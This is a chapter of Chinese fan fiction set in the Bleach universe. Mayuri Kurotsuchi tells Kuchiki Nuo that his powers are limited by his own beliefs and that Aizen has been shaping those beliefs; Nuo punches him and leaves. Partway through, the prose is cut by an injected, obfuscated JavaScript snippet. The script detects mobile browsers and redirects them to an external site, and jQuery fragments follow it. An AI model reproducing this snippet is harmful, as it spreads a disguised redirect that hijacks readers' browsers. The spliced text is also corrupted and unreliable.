诺表情平静。
能不能得出点他不知道的结论?
诺从金属台上跳下来的时候,腿还有点软,那些探测器在皮肤上爬过的触感还黏在神经末梢里。他一手撑着台沿,一手拽了拽被扯得乱七八糟的浴衣领口。
涅茧利还在说,他的嘴像一台开了闸的精密仪器,根本不需要诺回应,就能自行运转。他翻动的报告页被他的指节攥得发皱,激动得好像眼睛从眼窝里凸出来半寸。
“你以为你是谁?”他尖着嗓子,那声音像有人拿指甲刮金属台面,“朽木家的二公子,不,不,不,你这些能力,都是你【以为自己是死神】之后才表现出来的。”
“所以你真真正正拥有的力量——”他用报告卷成筒状指着诺,“全被你脑子里的‘认知’框住了,你根本不知道自己能做到什么!”
他怪笑得脑袋往后仰,油彩脸在灯光下像一张裂开的面具。
“蓝染不会没发现,你以为他为什么愿意在你身上耗那么久?我现在终于明白了。”他弯下腰,把脸凑到诺面前,伸出两根苍白的手指,在诺的脖子上缓缓划了一下。
“你从出生起,应该就没有流过血,任何伤害都无法真正触及你的灵魂。可蓝染能给你留下痕迹,为什么?因为他在给你灌输一个认知——蓝染惣右介是能碰到你的,他在你身上留下痕迹,不是因为你真的受伤了,是因为你的身体相信了他。”
他说得很客观,也很下流。
诺的脸色一下子变得很差,他的胃里翻上来一股很冷的东西,从喉咙一直冷到小腹。
涅茧利却像没看见诺的表情一样,兴奋地手舞足蹈。他跳到房间另一边,展开双手,像个刚发现新大陆的疯狂船长。“你问我要结论?我的结论就是,你是个能学习所有体系的怪物!死神的鬼道,虚的虚闪,灭却师的圣剑,只要你看一眼,只要你明白‘那是什么’,你就能复制它——可你没有见识!你的认知只有这么大。”
他用拇指和食指圈出一个小圈,凑到诺脸前,“小得可怜。像个井底的、被养的很好的、爱撒娇的、漂亮的——”
“闭嘴。”诺说。
涅茧利的眼珠儿“叮”了转了一下,笑容扯到耳根。
“你想变强,太可笑了,方法不就在你身上吗?你以为你的能力是什么?模仿?”
他抬起一只手,用一根指头点在诺的胸口,缓慢地、像在刺入,“不,你是在‘读取’规则。你看到一个东西,弄明白它的‘逻辑’,你就能借用它。你没变强,不是因为你不会,是因为你从没把自己当成一个强大的人。”
涅茧利还在说,他那张涂着黑白油彩的嘴一旦打开就关不上,语速又快又尖,像是把脑子里所有的念头同时倒出来,来不及整理,也不想整理。
“你之所以表现得这么弱小,限制你的根本不是灵压——是你的认知!你以为自己是个普通死神,所以你就真的变成了一个普通死神。你从小被朽木家保护得那么好,连脚掌都不曾碰过石子,对不对?你没有拼命战斗过,没有被人逼到绝境过,没有真正需要过超出限度的力量,所以你从来没有发现自己能做什么。就像一只从小被绳子拴住的小象,长大了有力气挣断绳子,但它根本不知道绳子是可以挣断的,因为它的认知被禁锢了!”
他猛地转过身,金眼珠直直地盯着诺,嘴角咧开一个极其夸张的弧度,露出一整排整齐的金色牙齿。
“你以为蓝染没发现吗?他当然发现了!他比任何人都更早发现!你以为他为什么对你这么感兴趣?因为你是个怪物,一个连他都无法用灵压触及的怪物。但他没有告诉你真相,他只是不停地碰你——用手指,用嘴唇,用——”他停了一下,歪着头,金色眼珠在诺身上从上到下滚了一圈,“——用各种能让你有感觉的方式,他在让你觉得他是可以伤害你的人,他在向你灌输一个认知——‘我是可以触碰你的人,我是可以对你造成影响的人,我是可以伤害你的人’。他一直在做这件事。”
“他不对你出手,不是舍不得,而是他要保持你不会受伤的认知。他想看你会成长到什么程度,想看你什么时候能挣断那根绳子。他把你当成一个实验,一个比崩玉更有趣的实验。”
诺站在金属台旁边,黑发散乱地垂在肩头,衣衫还没有完全整理好,领口敞着,露出一截锁骨和锁骨下方那片微微隆起的弧度。他的表情很平,但手指在袖子里慢慢蜷了起来,指节发白。涅茧利的话每一个字都像一根针,扎在他脑子里某个他一直不想去碰的地方。
——蓝染的每一次触碰,每一次进入,每一次让他觉得“他能碰到我”,都是在往他的脑子里刻一行字:
【你不是不可触及的,至少对我来说不是。】
涅茧利完全没有注意到诺的表情变化,或者他根本不在意诺的反应。
“他不告诉你真相,是因为真相会破坏你的认知。啊,蓝染惣右介,真是个妙人!我虽然讨厌他,但我不得不承认他的实验设计非常优雅——用一百年时间在一个活体样本上刻写认知,耐心、精确、毫不动摇,这种实验态度值得学习!”
诺的声音从金属台那边传过来,很平,很淡,像是从牙缝里挤出来的:“所以呢?你说了这么多,是要告诉我什么?心之力?Just do it?只要我相信自己能做到就能做到?”
涅茧利猛地转过身,金眼珠瞪得溜圆,脸上的油彩因为表情扭曲而皱成一团。他伸出长长的蓝色指甲,指着诺的鼻子,声音尖利得几乎要刺穿天花板。
“大蠢猪!朽木家怎么养出你这么个废物脑子!我说的不是那种现世励志杂志上的心灵鸡汤!我说的是你的能力机制——你不需要灵压回路,不需要灵子泄口,不需要这个世界的任何规则来驱动力量。你只需要‘见识’和‘理解’!你可以学习所有的力量体系,不只是死神的鬼道——虚的虚闪,灭却师的圣剑,完现术,甚至鬼道禁术,只要你看过,只要你的脑子理解了它的原理,你就能复制!你现在之所以是个垃圾,是因为你见识太少!你见过几次虚闪?你见过几个队长的卍解?你见过灭却师怎么战斗吗?你什么都没见过,你当然什么都不会!这样的身体配上这样的废物脑子——简直是暴殄天物!你这种人简直是为世界和平做贡献了,因为你但凡聪明一点,早就把瀞灵廷掀翻了!”
诺一拳砸在涅茧利的脸上。
涅茧利被砸得往后踉跄了两步,后背撞在实验台上,试管架晃了一下,几根空试管滚落在地碎成玻璃渣。
诺站在他面前,黑发散乱,领口敞着,拳头还攥着,指节上沾着一点涅茧利鼻子上的油彩。他的表情终于不再是那个懒散的、笑嘻嘻的朽木二公子了。
“说够了吗。”
涅茧利鼻梁上的油彩被蹭掉了一块,露出底下苍白的皮肤,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874496|211880||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看起来更像个疯子了。
“哦呀,”他说,声音因为鼻子被揍而带着几分瓮声瓮气,“原来你也会生气,我还以为你除了晒太阳什么都不会呢。这一拳不错——你以前打架都是怎么打的?踹人?薅头发?咬人?那些都是小打小闹,不是真正的战斗。你从来没有真正想伤害过任何人,所以你从来没有真正使用过你的力量。”
诺低头看着自己的拳头,涅茧利说话虽然难听,但确实为他扫清了迷惑。
他以为自己的始解能力只是复制别人的斩魄刀,那是因为他见过的力量形式太少了。他在真央灵术院学的是死神的鬼道体系,老师能展示的只有破道和缚道的基础应用,高级鬼道和禁术连老师自己都不会,更不用说展示给他看。他成为正式死神之后被朽木家安排在六番队,从来不上前线,从来没见过队长级别的战斗和鬼道解放。
死神只在最危险的时候才解放斩魄刀,而他永远待在安全的地方。
朽木家把他保护得太好了,好到他的能力根本没有机会接触到足够多的“样本”。蓝染知道这一点,所以蓝染不对他出手,不告诉他真相,让他一直以为自己只是个连始解都不会的废物。蓝染在等什么?等他有一天自己发现?还是等他永远发现不了,永远做一个可以被蓝染触碰、被蓝染影响、被蓝染留在尸魂界的朽木诺?
诺把拳头松开,手指慢慢舒展开,垂在身侧。
“涅队长,你有关于那些能力的资料吗?”
涅茧利漏出一声冷笑。“我当然有,我是十二番队队长,技术开发局局长,我见过的样本比你吃过的饭还多。虚闪的原理、灭却师圣剑的灵子构造、完现术的能力触发机制——这些我都有研究资料。但我不会给你。”
“你的能力需要‘所见’和‘理解’两个条件同时满足才能触发,你现在最缺的不是资料,是实战见识。”
朽木诺需要上前线,需要亲眼看到更多的战斗,才能真正成长。但他是朽木家的嫡系血脉,是朽木白哉的弟弟,是瀞灵廷出名的米虫,谁会让他上前线?谁敢让他上前线?他哥第一个不同意。
诺转身往门口走。
“涅队长,刚刚打了你,抱歉,谢谢你为我解惑。”
涅茧利在他身后已经忙碌地收拾起来,他刚刚从诺身上收集了不少“边角料”,正迫不及待想要进入一场新实验。
“快滚吧,朽木家的废物二公子,之后你每次变强了一点都记得回来让我再研究一次。”
诺推开十二番队的门,走了出去,走廊外面的阳光刺得他眯起了眼睛,他站在十二番队门口的台阶上,双手插进袖子里,仰头看着瀞灵廷上空那片被白墙框起来的蓝天。
脑子里涅茧利那些尖利的话还在转——被绳子拴住的小象,可以学习一切力量体系,蓝染在改写他的认知。
诺把手翻过来,看着掌心里那些细密的纹路。这双手可以复制千本樱,可以释放鬼道,但它们还能做更多的事,只是他以前不知道,或者说,他以前没有想过要去知道。
朽木家给他搭了一个温室,他在温室里舒舒服服地待了一百多年,晒太阳,看漫画,吃零食,支使蓝染跑腿。温室的门一直是开着的,但他从来没有想过要走出去,因为温室里太舒服了,舒服到他忘了自己其实是可以走出去的。
——蓝染知道这一点。
蓝染一直在温室里看着他。